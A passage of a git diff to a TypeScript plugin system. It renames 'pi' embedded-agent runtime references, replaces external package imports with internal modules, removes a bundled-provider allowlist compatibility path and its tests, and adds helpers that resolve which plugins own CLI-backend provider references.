+1431,7 @@ describe("resolvePluginProviders", () => { ).toStrictEqual([]); }); - it("keeps legacy CLI backend ownership as the explicit provider fallback", () => { + it("scopes cli-backend provider refs to their owning plugin", () => { setOwningProviderManifestPlugins(); resolvePluginProviders({ @@ -1745,7 +1581,6 @@ describe("resolvePluginProviders", () => { const providers = resolvePluginProviders({ config: {}, modelRefs: ["qwen3.6-27b@iq3_xxs"], - bundledProviderAllowlistCompat: true, }); expectResolvedProviders(providers, [ @@ -1784,7 +1619,6 @@ describe("resolvePluginProviders", () => { const providers = resolvePluginProviders({ config: {}, modelRefs: ["gpt-5.4"], - bundledProviderAllowlistCompat: true, }); expectResolvedProviders(providers, [ diff --git a/src/plugins/providers.ts b/src/plugins/providers.ts index 457b9a99c87..0e2c038432d 100644 --- a/src/plugins/providers.ts +++ b/src/plugins/providers.ts @@ -77,6 +77,26 @@ function resolveProviderSurfacePluginIdSet( ); } +function pluginOwnsProviderRef(plugin: PluginManifestRecord, normalizedProvider: string): boolean { + if ( + plugin.providers.some((providerId) => normalizeProviderId(providerId) === normalizedProvider) + ) { + return true; + } + for (const [rawAlias, target] of Object.entries(plugin.modelCatalog?.aliases ?? {})) { + const alias = normalizeProviderId(rawAlias); + const targetProvider = normalizeProviderId(target.provider); + if ( + alias === normalizedProvider && + targetProvider && + plugin.providers.some((providerId) => normalizeProviderId(providerId) === targetProvider) + ) { + return true; + } + } + return false; +} + function resolvesRuntimeModelCatalogAugment(plugin: PluginManifestRecord): boolean { return ( plugin.modelCatalog?.runtimeAugment === true || @@ -236,9 +256,6 @@ export function resolveExternalAuthProfileCompatFallbackPluginIds(params: { declaredPluginIds?: ReadonlySet; manifestRegistry?: PluginManifestRegistry; }): string[] { - // Deprecated compatibility fallback for provider plugins that still implement - // resolveExternalOAuthProfiles or omit contracts.externalAuthProviders. Remove - // this with the warning path in provider-runtime after the migration window. const declaredPluginIds = params.declaredPluginIds ?? new Set(resolveExternalAuthProfileProviderPluginIds(params)); const registry = loadProviderRegistrySnapshot(params); @@ -272,7 +289,6 @@ export function resolveDiscoveredProviderPluginIds(params: { const { registry, onlyPluginIdSet } = loadScopedProviderRegistry(params); const providerSurfacePluginIds = resolveProviderSurfacePluginIdSet({ ...params, registry }); const shouldFilterUntrustedWorkspacePlugins = params.includeUntrustedWorkspacePlugins !== true; - const shouldFilterBundledByAllowlist = params.config?.plugins?.bundledDiscovery !== "compat"; const normalizedConfig = normalizePluginsConfigWithRegistry(params.config?.plugins, registry, { manifestRegistry: params.manifestRegistry, }); @@ -288,7 +304,6 @@ export function resolveDiscoveredProviderPluginIds(params: { return isProviderPluginEligibleForSetupDiscovery({ plugin, shouldFilterUntrustedWorkspacePlugins, - shouldFilterBundledByAllowlist, normalizedConfig, rootConfig: params.config, }); @@ -298,7 +313,6 @@ export function resolveDiscoveredProviderPluginIds(params: { function isProviderPluginEligibleForSetupDiscovery(params: { plugin: PluginRegistryRecord; shouldFilterUntrustedWorkspacePlugins: boolean; - shouldFilterBundledByAllowlist: boolean; normalizedConfig: NormalizedPluginsConfig; rootConfig?: PluginLoadOptions["config"]; }): boolean { @@ -306,8 +320,6 @@ function isProviderPluginEligibleForSetupDiscovery(params: { if (!params.shouldFilterUntrustedWorkspacePlugins) { return true; } - } else if (!params.shouldFilterBundledByAllowlist) { - return true; } if ( !passesManifestOwnerBasePolicy({ @@ -337,14 +349,12 @@ export function resolveDiscoverableProviderOwnerPluginIds(params: { includeUntrustedWorkspacePlugins?: boolean; }): string[] { const shouldFilterUntrustedWorkspacePlugins = params.includeUntrustedWorkspacePlugins !== true; - const shouldFilterBundledByAllowlist = params.config?.plugins?.bundledDiscovery !== "compat"; return resolveProviderOwnerPluginIds({ ...params, isEligible: (plugin, normalizedConfig) => isProviderPluginEligibleForSetupDiscovery({ plugin, shouldFilterUntrustedWorkspacePlugins, - shouldFilterBundledByAllowlist, normalizedConfig, rootConfig: params.config, }), @@ -513,6 +523,33 @@ export function resolveOwningPluginIdsForProvider(params: { return undefined; } + const manifestRegistry = + params.manifestRegistry ?? + loadPluginMetadataSnapshot({ + config: params.config ?? {}, + workspaceDir: params.workspaceDir, + env: params.env ?? process.env, + }).manifestRegistry; + + const pluginIds = manifestRegistry.plugins + .filter((plugin) => pluginOwnsProviderRef(plugin, normalizedProvider)) + .map((plugin) => plugin.id); + + return pluginIds.length > 0 ? pluginIds : undefined; +} + +function resolveOwningPluginIdsForCliBackend(params: { + backend: string; + config?: PluginLoadOptions["config"]; + workspaceDir?: string; + env?: PluginLoadOptions["env"]; + manifestRegistry?: PluginManifestRegistry; +}): string[] | undefined { + const normalizedBackend = normalizeProviderId(params.backend); + if (!normalizedBackend) { + return undefined; + } + const manifestRegistry = params.manifestRegistry ?? loadPluginMetadataSnapshot({ @@ -524,19 +561,36 @@ export function resolveOwningPluginIdsForProvider(params: { const pluginIds = manifestRegistry.plugins .filter( (plugin) => - plugin.providers.some( - (providerId) => normalizeProviderId(providerId) === normalizedProvider, - ) || plugin.cliBackends.some( - (backendId) => normalizeProviderId(backendId) === normalizedProvider, + (backendId) => normalizeProviderId(backendId) === normalizedBackend, ) || (plugin.setup?.cliBackends ?? []).some( - (backendId) => normalizeProviderId(backendId) === normalizedProvider, + (backendId) => normalizeProviderId(backendId) === normalizedBackend, ), ) .map((plugin) => plugin.id); - return pluginIds.length > 0 ? pluginIds : undefined; + const deduped = dedupeSortedPluginIds(pluginIds); + return deduped.length > 0 ? deduped : undefined; +} + +export function resolveOwningPluginIdsForProviderRef(params: { + provider: string; + config?: PluginLoadOptions["config"]; + workspaceDir?: string; + env?: PluginLoadOptions["env"]; + manifestRegistry?: PluginManifestRegistry; +}): string[] | undefined { + return ( + resolveOwningPluginIdsForProvider(params) ?? + resolveOwningPluginIdsForCliBackend({ + backend: params.provider, + config: params.config, + workspaceDir: params.workspaceDir, + env: params.env, + manifestRegistry: params.manifestRegistry, + }) + ); } export function resolveOwningPluginIdsForModelRef(params: { @@ -553,13 +607,23 @@ export function resolveOwningPluginIdsForModelRef(params: { } if (parsed.provider) { - return resolveOwningPluginIdsForProvider({ + const providerOwners = resolveOwningPluginIdsForProvider({ provider: parsed.provider, config: params.config, workspaceDir: params.workspaceDir, env: params.env, manifestRegistry: params.manifestRegistry, }); + return ( + providerOwners ?? + resolveOwningPluginIdsForCliBackend({ + backend: parsed.provider, + config: params.config, + workspaceDir: params.workspaceDir, + env: params.env, + manifestRegistry: params.manifestRegistry, + }) + ); } const manifestRegistry = resolveManifestRegistry({ diff --git a/src/plugins/runtime-plugins.runtime.ts b/src/plugins/runtime-plugins.runtime.ts new file mode 100644 index 00000000000..009782a365f --- /dev/null +++ b/src/plugins/runtime-plugins.runtime.ts @@ -0,0 +1 @@ +export { ensureRuntimePluginsLoaded } from "../agents/runtime-plugins.js"; diff --git a/src/plugins/runtime/index.test.ts b/src/plugins/runtime/index.test.ts index cc6ac9b0f30..af4c6339f7b 100644 --- a/src/plugins/runtime/index.test.ts +++ b/src/plugins/runtime/index.test.ts @@ -310,6 +310,7 @@ describe("plugin runtime command execution", () => { "resolveThinkingPolicy", "resolveAgentDir", ]); + expect(runtime.agent.runEmbeddedPiAgent).toBe(runtime.agent.runEmbeddedAgent); expectFunctionKeys(runtime.agent.session as Record, [ "getSessionEntry", "listSessionEntries", diff --git a/src/plugins/runtime/runtime-agent.ts b/src/plugins/runtime/runtime-agent.ts index 613c9c88f1a..0aea8eb355b 100644 --- a/src/plugins/runtime/runtime-agent.ts +++ b/src/plugins/runtime/runtime-agent.ts @@ -24,8 +24,8 @@ import { createLazyRuntimeMethod, createLazyRuntimeModule } from "../../shared/l import { defineCachedValue } from "./runtime-cache.js"; import type { PluginRuntime } from "./types.js"; -const loadEmbeddedPiRuntime = createLazyRuntimeModule( - () => import("./runtime-embedded-pi.runtime.js"), +const loadEmbeddedAgentRuntime = createLazyRuntimeModule( + () => import("./runtime-embedded-agent.runtime.js"), ); function resolveRuntimeThinkingCatalog( @@ -68,10 +68,12 @@ export function createRuntimeAgent(): PluginRuntime["agent"] { Partial>; defineCachedValue(agentRuntime, "runEmbeddedAgent", () => - createLazyRuntimeMethod(loadEmbeddedPiRuntime, (runtime) => runtime.runEmbeddedAgent), + createLazyRuntimeMethod(loadEmbeddedAgentRuntime, (runtime) => runtime.runEmbeddedAgent), ); - defineCachedValue(agentRuntime, "runEmbeddedPiAgent", () => - createLazyRuntimeMethod(loadEmbeddedPiRuntime, (runtime) => runtime.runEmbeddedPiAgent), + defineCachedValue( + agentRuntime, + "runEmbeddedPiAgent", + () => (agentRuntime as PluginRuntime["agent"]).runEmbeddedAgent, ); defineCachedValue(agentRuntime, "session", () => ({ resolveStorePath, diff --git a/src/plugins/runtime/runtime-embedded-agent.runtime.ts b/src/plugins/runtime/runtime-embedded-agent.runtime.ts new file mode 100644 index 00000000000..3a1b6f0e688 --- /dev/null +++ b/src/plugins/runtime/runtime-embedded-agent.runtime.ts @@ -0,0 +1 @@ +export { runEmbeddedAgent } from "../../agents/embedded-agent.js"; diff --git a/src/plugins/runtime/runtime-embedded-pi.runtime.ts b/src/plugins/runtime/runtime-embedded-pi.runtime.ts deleted file mode 100644 index 140d27fa397..00000000000 --- a/src/plugins/runtime/runtime-embedded-pi.runtime.ts +++ /dev/null @@ -1 +0,0 @@ -export { runEmbeddedAgent, runEmbeddedPiAgent } from "../../agents/pi-embedded.js"; diff --git a/src/plugins/runtime/runtime-llm.runtime.test.ts b/src/plugins/runtime/runtime-llm.runtime.test.ts index 8dce8dddb76..e890484fe19 100644 --- a/src/plugins/runtime/runtime-llm.runtime.test.ts +++ b/src/plugins/runtime/runtime-llm.runtime.test.ts @@ -1,5 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; -import { resolveContextEngineCapabilities } from "../../agents/pi-embedded-runner/context-engine-capabilities.js"; +import { resolveContextEngineCapabilities } from "../../agents/embedded-agent-runner/context-engine-capabilities.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { withPluginRuntimePluginIdScope } from "./gateway-request-scope.js"; import { createRuntimeLlm } from "./runtime-llm.runtime.js"; @@ -164,7 +164,7 @@ describe("runtime.llm.complete", () => { agentId: "ada", allowBundledStaticCatalogFallback: true, allowMissingApiKeyModes: ["aws-sdk"], - skipPiDiscovery: true, + skipAgentDiscovery: true, }); expect(result.agentId).toBe("ada"); expectFields(requireRecord(result.audit, "audit"), { @@ -192,7 +192,7 @@ describe("runtime.llm.complete", () => { preferredProfile: "openai-codex:claude@martian.engineering", allowBundledStaticCatalogFallback: true, allowMissingApiKeyModes: ["aws-sdk"], - skipPiDiscovery: true, + skipAgentDiscovery: true, }); }); diff --git a/src/plugins/runtime/runtime-llm.runtime.ts b/src/plugins/runtime/runtime-llm.runtime.ts index 788f569a8a7..1096d52a5f6 100644 --- a/src/plugins/runtime/runtime-llm.runtime.ts +++ b/src/plugins/runtime/runtime-llm.runtime.ts @@ -1,9 +1,9 @@ -import type { Api, Message } from "@earendil-works/pi-ai"; import { modelKey } from "../../agents/model-ref-shared.js"; import { normalizeModelRef } from "../../agents/model-selection.js"; import type { NormalizedUsage, UsageLike } from "../../agents/usage.js"; import { normalizeUsage } from "../../agents/usage.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { Api, Message } from "../../llm/types.js"; import { getChildLogger } from "../../logging.js"; import { normalizeAgentId } from "../../routing/session-key.js"; import { asFiniteNumber } from "../../shared/number-coercion.js"; @@ -423,7 +423,7 @@ export function createRuntimeLlm(options: CreateRuntimeLlmOptions = {}): PluginR preferredProfile, allowBundledStaticCatalogFallback: true, allowMissingApiKeyModes: ["aws-sdk"], - skipPiDiscovery: true, + skipAgentDiscovery: true, }); if ("error" in prepared) { diff --git a/src/plugins/runtime/runtime-model-auth.runtime.ts b/src/plugins/runtime/runtime-model-auth.runtime.ts index f5f774fcf21..8575d1fd7c5 100644 --- a/src/plugins/runtime/runtime-model-auth.runtime.ts +++ b/src/plugins/runtime/runtime-model-auth.runtime.ts @@ -1,9 +1,9 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; import { getApiKeyForModel as resolveModelApiKey, resolveApiKeyForProvider as resolveProviderApiKey, } from "../../agents/model-auth.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import type { Model } from "../../llm/types.js"; import { prepareProviderRuntimeAuth } from "../provider-runtime.runtime.js"; import type { ResolvedProviderRuntimeAuth } from "./model-auth-types.js"; @@ -24,7 +24,7 @@ export async function resolveApiKeyForProvider( * `prepareRuntimeAuth` exchange on top of the standard credential lookup. */ export async function getRuntimeAuthForModel(params: { - model: Model; + model: Model; cfg?: OpenClawConfig; workspaceDir?: string; }): Promise { diff --git a/src/plugins/runtime/runtime-web-channel-plugin.ts b/src/plugins/runtime/runtime-web-channel-plugin.ts index f4fd644d881..dbb4f4d75c7 100644 --- a/src/plugins/runtime/runtime-web-channel-plugin.ts +++ b/src/plugins/runtime/runtime-web-channel-plugin.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "../../agents/runtime/index.js"; import type { ChannelAgentTool } from "../../channels/plugins/types.core.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { diff --git a/src/plugins/runtime/types-core.ts b/src/plugins/runtime/types-core.ts index 65addaed42c..0277d6942f6 100644 --- a/src/plugins/runtime/types-core.ts +++ b/src/plugins/runtime/types-core.ts @@ -135,9 +135,9 @@ export type LlmCompleteResult = { }; }; -type RuntimeRunEmbeddedPiAgent = ( - params: import("../../agents/pi-embedded-runner/run/params.js").RunEmbeddedPiAgentParams, -) => Promise; +type RuntimeRunEmbeddedAgent = ( + params: import("../../agents/embedded-agent-runner/run/params.js").RunEmbeddedAgentParams, +) => Promise; /** Core runtime helpers exposed to trusted native plugins. */ export type PluginRuntimeCore = { @@ -197,8 +197,9 @@ export type PluginRuntimeCore = { resolveThinkingPolicy: ( params: PluginRuntimeThinkingPolicyRequest, ) => PluginRuntimeThinkingPolicy; - runEmbeddedAgent: RuntimeRunEmbeddedPiAgent; - runEmbeddedPiAgent: RuntimeRunEmbeddedPiAgent; + runEmbeddedAgent: RuntimeRunEmbeddedAgent; + /** @deprecated Use runEmbeddedAgent. */ + runEmbeddedPiAgent: RuntimeRunEmbeddedAgent; resolveAgentTimeoutMs: typeof import("../../agents/timeout.js").resolveAgentTimeoutMs; ensureAgentWorkspace: typeof import("../../agents/workspace.js").ensureAgentWorkspace; session: { @@ -326,13 +327,13 @@ export type PluginRuntimeCore = { modelAuth: { /** Resolve auth for a model. Only provider/model, optional cfg, and workspaceDir are used. */ getApiKeyForModel: (params: { - model: import("@earendil-works/pi-ai").Model; + model: import("openclaw/plugin-sdk/llm").Model; cfg?: import("../../config/types.openclaw.js").OpenClawConfig; workspaceDir?: string; }) => Promise; /** Resolve request-ready auth for a model, including provider runtime exchanges. */ getRuntimeAuthForModel: (params: { - model: import("@earendil-works/pi-ai").Model; + model: import("openclaw/plugin-sdk/llm").Model; cfg?: import("../../config/types.openclaw.js").OpenClawConfig; workspaceDir?: string; }) => Promise; diff --git a/src/plugins/status.test.ts b/src/plugins/status.test.ts index b0323c63c6e..56832e67805 100644 --- a/src/plugins/status.test.ts +++ b/src/plugins/status.test.ts @@ -34,7 +34,6 @@ const loadPluginMetadataSnapshotMock = vi.fn((rawParams: unknown = {}) => { }); const applyPluginAutoEnableMock = vi.fn(); const resolveBundledProviderCompatPluginIdsMock = vi.fn(); -const withBundledPluginAllowlistCompatMock = vi.fn(); const withBundledPluginEnablementCompatMock = vi.fn(); const listImportedBundledPluginFacadeIdsMock = vi.fn(); const listImportedRuntimePluginIdsMock = vi.fn(); @@ -91,8 +90,6 @@ vi.mock("./providers.js", () => ({ })); vi.mock("./bundled-compat.js", () => ({ - withBundledPluginAllowlistCompat: (...args: unknown[]) => - withBundledPluginAllowlistCompatMock(...args), withBundledPluginEnablementCompat: (...args: unknown[]) => withBundledPluginEnablementCompatMock(...args), })); @@ -235,32 +232,26 @@ function expectAutoEnabledStatusLoad(params: { rawConfig: unknown }) { function createCompatChainFixture() { const config = { plugins: { allow: ["telegram"] } }; const pluginIds = ["anthropic", "openai"]; - const compatConfig = { plugins: { allow: ["telegram", ...pluginIds] } }; const enabledConfig = { plugins: { - allow: ["telegram", ...pluginIds], + allow: ["telegram"], entries: { anthropic: { enabled: true }, openai: { enabled: true }, }, }, }; - return { config, pluginIds, compatConfig, enabledConfig }; + return { config, pluginIds, enabledConfig }; } function expectBundledCompatChainApplied(params: { config: unknown; pluginIds: string[]; - compatConfig: unknown; enabledConfig: unknown; loadModules: boolean; }) { - expect(withBundledPluginAllowlistCompatMock).toHaveBeenCalledWith({ - config: params.config, - pluginIds: params.pluginIds, - }); expect(withBundledPluginEnablementCompatMock).toHaveBeenCalledWith({ - config: params.compatConfig, + config: params.config, pluginIds: params.pluginIds, }); if (params.loadModules) { @@ -409,7 +400,6 @@ describe("plugin status reports", () => { loadPluginMetadataSnapshotMock.mockClear(); applyPluginAutoEnableMock.mockReset(); resolveBundledProviderCompatPluginIdsMock.mockReset(); - withBundledPluginAllowlistCompatMock.mockReset(); withBundledPluginEnablementCompatMock.mockReset(); listImportedBundledPluginFacadeIdsMock.mockReset(); listImportedRuntimePluginIdsMock.mockReset(); @@ -433,9 +423,6 @@ describe("plugin status reports", () => { autoEnabledReasons: {}, })); resolveBundledProviderCompatPluginIdsMock.mockReturnValue([]); - withBundledPluginAllowlistCompatMock.mockImplementation( - (params: { config: unknown }) => params.config, - ); withBundledPluginEnablementCompatMock.mockImplementation( (params: { config: unknown }) => params.config, ); @@ -599,10 +586,9 @@ describe("plugin status reports", () => { }); it("applies the full bundled provider compat chain before loading plugins", () => { - const { config, pluginIds, compatConfig, enabledConfig } = createCompatChainFixture(); + const { config, pluginIds, enabledConfig } = createCompatChainFixture(); loadConfigMock.mockReturnValue(config); resolveBundledProviderCompatPluginIdsMock.mockReturnValue(pluginIds); - withBundledPluginAllowlistCompatMock.mockReturnValue(compatConfig); withBundledPluginEnablementCompatMock.mockReturnValue(enabledConfig); buildPluginSnapshotReport({ config }); @@ -610,7 +596,6 @@ describe("plugin status reports", () => { expectBundledCompatChainApplied({ config, pluginIds, - compatConfig, enabledConfig, loadModules: false, }); diff --git a/src/plugins/status.ts b/src/plugins/status.ts index 0118363ed6c..206894f0793 100644 --- a/src/plugins/status.ts +++ b/src/plugins/status.ts @@ -7,10 +7,7 @@ import { listImportedBundledPluginFacadeIds } from "../plugin-sdk/facade-runtime import { resolveCompatibilityHostVersion } from "../version.js"; import { inspectBundleLspRuntimeSupport } from "./bundle-lsp.js"; import { inspectBundleMcpRuntimeSupport } from "./bundle-mcp.js"; -import { - withBundledPluginAllowlistCompat, - withBundledPluginEnablementCompat, -} from "./bundled-compat.js"; +import { withBundledPluginEnablementCompat } from "./bundled-compat.js"; import type { PluginCompatCode } from "./compat/registry.js"; import { normalizePluginsConfig } from "./config-state.js"; import { resolveEffectivePluginIds } from "./effective-plugin-ids.js"; @@ -308,22 +305,14 @@ function buildPluginReport( // Apply bundled-provider allowlist compat so that `plugins list` and `doctor` // report the same loaded/disabled status the gateway uses at runtime. Without - // this, bundled provider plugins are incorrectly shown as "disabled" when - // `plugins.allow` is set because the allowlist check runs before the - // bundled-default-enable check. Scoped to bundled providers only (not all - // bundled plugins) to match the runtime compat surface in providers.runtime.ts. const bundledProviderIds = resolveBundledProviderCompatPluginIds({ config, workspaceDir, env: params?.env, manifestRegistry: metadataSnapshot?.manifestRegistry, }); - const effectiveConfig = withBundledPluginAllowlistCompat({ - config, - pluginIds: bundledProviderIds, - }); const runtimeCompatConfig = withBundledPluginEnablementCompat({ - config: effectiveConfig, + config, pluginIds: bundledProviderIds, }); const onlyPluginIds = diff --git a/src/plugins/synthetic-auth.runtime.test.ts b/src/plugins/synthetic-auth.runtime.test.ts index 65a4bc36cd5..82792fa08be 100644 --- a/src/plugins/synthetic-auth.runtime.test.ts +++ b/src/plugins/synthetic-auth.runtime.test.ts @@ -269,7 +269,7 @@ describe("synthetic auth runtime refs", () => { { backend: { id: "runtime-cli", - resolveExternalOAuthProfiles: () => [], + resolveExternalAuthProfiles: () => [], }, }, ], diff --git a/src/plugins/types.ts b/src/plugins/types.ts index 8f2df5ab603..c56fdc6fca1 100644 --- a/src/plugins/types.ts +++ b/src/plugins/types.ts @@ -1,8 +1,5 @@ import type { IncomingMessage, ServerResponse } from "node:http"; import type { Duplex } from "node:stream"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { ModelRegistry } from "@earendil-works/pi-coding-agent"; import type { Command } from "commander"; import type { ApiKeyCredential, @@ -10,9 +7,11 @@ import type { OAuthCredential, AuthProfileStore, } from "../agents/auth-profiles/types.js"; +import type { FailoverReason } from "../agents/embedded-agent-helpers/types.js"; import type { AgentHarness } from "../agents/harness/types.js"; import type { ModelCatalogEntry } from "../agents/model-catalog.types.js"; -import type { FailoverReason } from "../agents/pi-embedded-helpers/types.js"; +import type { AgentMessage } from "../agents/runtime/index.js"; +import type { StreamFn } from "../agents/runtime/index.js"; import type { ProviderSystemPromptContribution } from "../agents/system-prompt-contribution.js"; import type { PromptMode } from "../agents/system-prompt.types.js"; import type { AnyAgentTool } from "../agents/tools/common.js"; @@ -21,7 +20,6 @@ import type { ThinkLevel } from "../auto-reply/thinking.shared.js"; import type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; import type { ChannelId } from "../channels/plugins/types.public.js"; import type { ModelProviderConfig } from "../config/types.js"; -import type { ModelCompatConfig } from "../config/types.models.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { OperatorScope } from "../gateway/operator-scopes.js"; import type { GatewayRequestHandler } from "../gateway/server-methods/types.js"; @@ -34,6 +32,7 @@ import type { DiagnosticEventPayload, } from "../infra/diagnostic-events.js"; import type { ProviderUsageSnapshot } from "../infra/provider-usage.types.js"; +import type { ModelRegistry } from "../llm/model-registry.js"; import type { MediaUnderstandingProvider } from "../media-understanding/types.js"; import type { UnifiedModelCatalogEntry, UnifiedModelCatalogKind } from "../model-catalog/types.js"; import type { MusicGenerationProvider } from "../music-generation/types.js"; @@ -868,7 +867,7 @@ export type ProviderReasoningOutputModeContext = ProviderReplayPolicyContext; /** * Provider-owned transport creation. * - * Use this when the provider needs to replace pi-ai's default transport with a + * Use this when the provider needs to replace shared model runtime's default transport with a * custom StreamFn (for example a native API transport that cannot be expressed * as a wrapper around `streamSimple`). */ @@ -886,7 +885,7 @@ export type ProviderCreateStreamFnContext = { * transport-independent wrappers. * * Use this for provider-specific payload/header/model mutations that still run - * through the normal `pi-ai` stream path. + * through the normal `shared model runtime` stream path. */ export type ProviderWrapStreamFnContext = ProviderPrepareExtraParamsContext & { model?: ProviderRuntimeModel; @@ -1321,17 +1320,6 @@ export type ProviderPlugin = { normalizeResolvedModel?: ( ctx: ProviderNormalizeResolvedModelContext, ) => ProviderRuntimeModel | null | undefined; - /** - * Provider-owned compat contribution for resolved models outside direct - * provider ownership. - * - * Use this when a plugin can recognize its vendor's models behind another - * OpenAI-compatible transport (for example OpenRouter or a custom base URL) - * and needs to contribute compat flags without taking over the provider. - */ - contributeResolvedModelCompat?: ( - ctx: ProviderNormalizeResolvedModelContext, - ) => Partial | null | undefined; /** * Provider-owned model-id normalization. * @@ -1740,7 +1728,7 @@ export type ProviderPlugin = { /** * Provider-owned OAuth refresh. * - * OpenClaw calls this before falling back to the shared `pi-ai` OAuth + * OpenClaw calls this before falling back to the shared `shared model runtime` OAuth * refreshers. Use it when the provider has a custom refresh endpoint, or when * the provider needs custom refresh-failure behavior that should stay out of * core auth-profile code. @@ -1803,8 +1791,8 @@ export type ProviderPlugin = { | undefined; /** * @deprecated Declare `contracts.externalAuthProviders` in the plugin manifest - * and implement `resolveExternalAuthProfiles` instead. This compatibility hook - * is loaded through a slower fallback path and will be removed in a future release. + * and implement `resolveExternalAuthProfiles` instead. Kept at the public + * plugin boundary until the SDK removal window closes. */ resolveExternalOAuthProfiles?: ( ctx: ProviderResolveExternalOAuthProfilesContext, @@ -2014,6 +2002,8 @@ export type PluginCommandHandler = ( * Definition for a plugin-registered command. */ export const AGENT_PROMPT_SURFACE_KINDS = [ + "openclaw_main", + /** @deprecated Use openclaw_main. */ "pi_main", "codex_app_server", "cli_backend", diff --git a/src/plugins/web-content-extractors.runtime.ts b/src/plugins/web-content-extractors.runtime.ts index faf96db195b..e3df3ac55ac 100644 --- a/src/plugins/web-content-extractors.runtime.ts +++ b/src/plugins/web-content-extractors.runtime.ts @@ -29,7 +29,6 @@ export function resolvePluginWebContentExtractors(params?: { onlyPluginIds: params?.onlyPluginIds, contract: "webContentExtractors", compatMode: { - allowlist: true, enablement: "always", vitest: true, }, diff --git a/src/plugins/web-fetch-providers.runtime.test.ts b/src/plugins/web-fetch-providers.runtime.test.ts index 1144a755a11..49b6f8be208 100644 --- a/src/plugins/web-fetch-providers.runtime.test.ts +++ b/src/plugins/web-fetch-providers.runtime.test.ts @@ -179,7 +179,6 @@ describe("resolvePluginWebFetchProviders", () => { const providers = resolvePluginWebFetchProviders({ config: createFirecrawlAllowConfig(), - bundledAllowlistCompat: true, workspaceDir: DEFAULT_WORKSPACE, env: createWebFetchEnv(), }); @@ -211,7 +210,6 @@ describe("resolvePluginWebFetchProviders", () => { const { config, activationSourceConfig, autoEnabledReasons } = webFetchProvidersSharedModule.resolveBundledWebFetchResolutionConfig({ config: rawConfig, - bundledAllowlistCompat: true, env, }); const { cacheKey } = loaderModule.testing.resolvePluginLoadCacheContext({ @@ -231,7 +229,6 @@ describe("resolvePluginWebFetchProviders", () => { const providers = resolvePluginWebFetchProviders({ config: rawConfig, - bundledAllowlistCompat: true, workspaceDir: DEFAULT_WORKSPACE, env, }); @@ -248,7 +245,6 @@ describe("resolvePluginWebFetchProviders", () => { const { config, activationSourceConfig, autoEnabledReasons } = webFetchProvidersSharedModule.resolveBundledWebFetchResolutionConfig({ config: rawConfig, - bundledAllowlistCompat: true, workspaceDir: DEFAULT_WORKSPACE, env, }); @@ -269,7 +265,6 @@ describe("resolvePluginWebFetchProviders", () => { const providers = resolvePluginWebFetchProviders({ config: rawConfig, - bundledAllowlistCompat: true, env, }); @@ -292,7 +287,6 @@ describe("resolvePluginWebFetchProviders", () => { resolvePluginWebFetchProviders({ config: rawConfig, - bundledAllowlistCompat: true, env, }); @@ -324,14 +318,12 @@ describe("resolvePluginWebFetchProviders", () => { setActivePluginRegistry(createEmptyPluginRegistry(), undefined, "default", "/tmp/workspace-a"); resolvePluginWebFetchProviders({ config, - bundledAllowlistCompat: true, env, }); setActivePluginRegistry(createEmptyPluginRegistry(), undefined, "default", "/tmp/workspace-b"); resolvePluginWebFetchProviders({ config, - bundledAllowlistCompat: true, env, }); diff --git a/src/plugins/web-fetch-providers.runtime.ts b/src/plugins/web-fetch-providers.runtime.ts index 32e0bd4dfda..db0902aece3 100644 --- a/src/plugins/web-fetch-providers.runtime.ts +++ b/src/plugins/web-fetch-providers.runtime.ts @@ -49,7 +49,6 @@ export function resolvePluginWebFetchProviders(params: { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; onlyPluginIds?: readonly string[]; activate?: boolean; cache?: boolean; @@ -68,7 +67,6 @@ export function resolveRuntimeWebFetchProviders(params: { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; onlyPluginIds?: readonly string[]; origin?: PluginManifestRecord["origin"]; }): PluginWebFetchProviderEntry[] { diff --git a/src/plugins/web-fetch-providers.shared.ts b/src/plugins/web-fetch-providers.shared.ts index ed860dadc33..db4da5aee15 100644 --- a/src/plugins/web-fetch-providers.shared.ts +++ b/src/plugins/web-fetch-providers.shared.ts @@ -22,7 +22,6 @@ export function resolveBundledWebFetchResolutionConfig(params: { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; }): { config: PluginLoadOptions["config"]; activationSourceConfig?: PluginLoadOptions["config"]; @@ -33,6 +32,5 @@ export function resolveBundledWebFetchResolutionConfig(params: { config: params.config, workspaceDir: params.workspaceDir, env: params.env, - bundledAllowlistCompat: params.bundledAllowlistCompat, }); } diff --git a/src/plugins/web-provider-public-artifacts.explicit-fast-path.test.ts b/src/plugins/web-provider-public-artifacts.explicit-fast-path.test.ts index 0e67659b9e2..908b555211b 100644 --- a/src/plugins/web-provider-public-artifacts.explicit-fast-path.test.ts +++ b/src/plugins/web-provider-public-artifacts.explicit-fast-path.test.ts @@ -95,7 +95,6 @@ describe("web provider public artifacts explicit fast path", () => { it("resolves bundled web search providers by explicit plugin id without manifest scans", () => { const provider = expectSingleProvider( resolveBundledWebSearchProvidersFromPublicArtifacts({ - bundledAllowlistCompat: true, onlyPluginIds: ["brave"], }), ); @@ -131,7 +130,6 @@ describe("web provider public artifacts explicit fast path", () => { it("resolves bundled web fetch providers by explicit plugin id without manifest scans", () => { const provider = expectSingleProvider( resolveBundledWebFetchProvidersFromPublicArtifacts({ - bundledAllowlistCompat: true, onlyPluginIds: ["firecrawl"], }), ); diff --git a/src/plugins/web-provider-public-artifacts.fallback.test.ts b/src/plugins/web-provider-public-artifacts.fallback.test.ts index 5166e3536c4..8b45b1eb558 100644 --- a/src/plugins/web-provider-public-artifacts.fallback.test.ts +++ b/src/plugins/web-provider-public-artifacts.fallback.test.ts @@ -111,7 +111,6 @@ describe("web provider public artifact manifest fallback", () => { config: { plugins: { allow: ["fallback-search"], - bundledDiscovery: "allowlist", }, }, 